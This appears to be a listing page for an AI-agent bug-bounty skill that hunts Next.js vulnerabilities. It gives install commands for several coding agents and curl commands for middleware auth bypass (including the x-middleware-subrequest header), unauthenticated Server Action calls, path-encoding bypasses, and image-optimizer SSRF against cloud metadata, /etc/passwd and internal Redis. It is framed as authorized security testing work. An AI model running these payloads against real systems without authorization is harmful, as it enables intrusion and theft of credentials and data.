apk-redteam-pipeline
End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx…
Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint
Claude Code
$ npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-nextjs --agent claude-code
Codex
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-nextjs -a codex -y
Cursor
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-nextjs -a cursor -y
Gemini CLI
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-nextjs -a gemini-cli -y
GitHub Copilot
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-nextjs -a github-copilot -y
OpenCode
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-nextjs -a opencode -y
Windsurf
$ npx skills add elementalsouls/Claude-BugHunter --skill hunt-nextjs -a windsurf -y
name: hunt-nextjs description: Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework. sources: "cve_database (CVE-2024-34351 / GHSA-fr5h-rqp8-mj6g), Next.js advisories" report_count: 0
Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
**Highest-value chains:**
---
/_next/image?url=&w=&q= Image optimizer — SSRF candidate /_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate /__nextjs_original-stack-frame Debug stack frame endpoint /_next/static/chunks/ JS bundles — source map candidate /api/ API routes — standard hunt surface __NEXT_DATA__ in HTML SSR props leaked to client x-nextjs-* response headers Confirms Next.js
---
# Confirm Next.js and get build ID curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"' curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs" # Extract build ID for /_next/data/ paths BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+') echo "Build ID: $BUILD_ID" # Check Next.js version via package disclosure curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"' # Source map exposure curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5 curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
---
# Server Actions in Next.js 14+ use x-action-id or Next-Action header # Find action IDs in HTML source or JS bundles curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"' grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null # Call Server Action directly without auth curl -s -X POST https://$TARGET/target-page \ -H "Next-Action: ACTION_ID_HERE" \ -H "Content-Type: multipart/form-data; boundary=----" \ -H "Cookie: " \ --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n' # Test: does the action execute without a valid session? # If it returns data or mutates state → auth enforcement is client-side only
---
# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible
# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"
# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"---
Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
# also: -H "x-middleware-subrequest: src/middleware" and "pages/_middleware"
# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.# Basic SSRF test — internal metadata curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75" # Protocol bypass attempts curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75" curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75" # OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused COLLAB="http://UNIQUE.COLLAB_HOST" curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75" # Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
**FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only fetches URLs allowed by `images.remotePatterns` / `images.domains` in `next.config.js`. A non-whitelisted `url` returns **400 by default** — that is the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200** returns an *optimized image*, not the upstream response body, so a status code alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique Collaborator subdomain** (above), or by body-diffing a known-internal vs known-external target. Do not report on status code.
> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0 > through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative > redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does > NOT affect Host-routed providers like Vercel. See Phase 2 for the Server > Actions surface.
---
A self-contained Claude skill bundle for bug hunting and external red-team work · 83 skills · 15 slash commands · 681 disclosed-report patterns (433 now individually cited & auditable) across 24 core vulnerability classes · enterprise identity +
End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx…
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS…
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master…
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code…
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match…
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…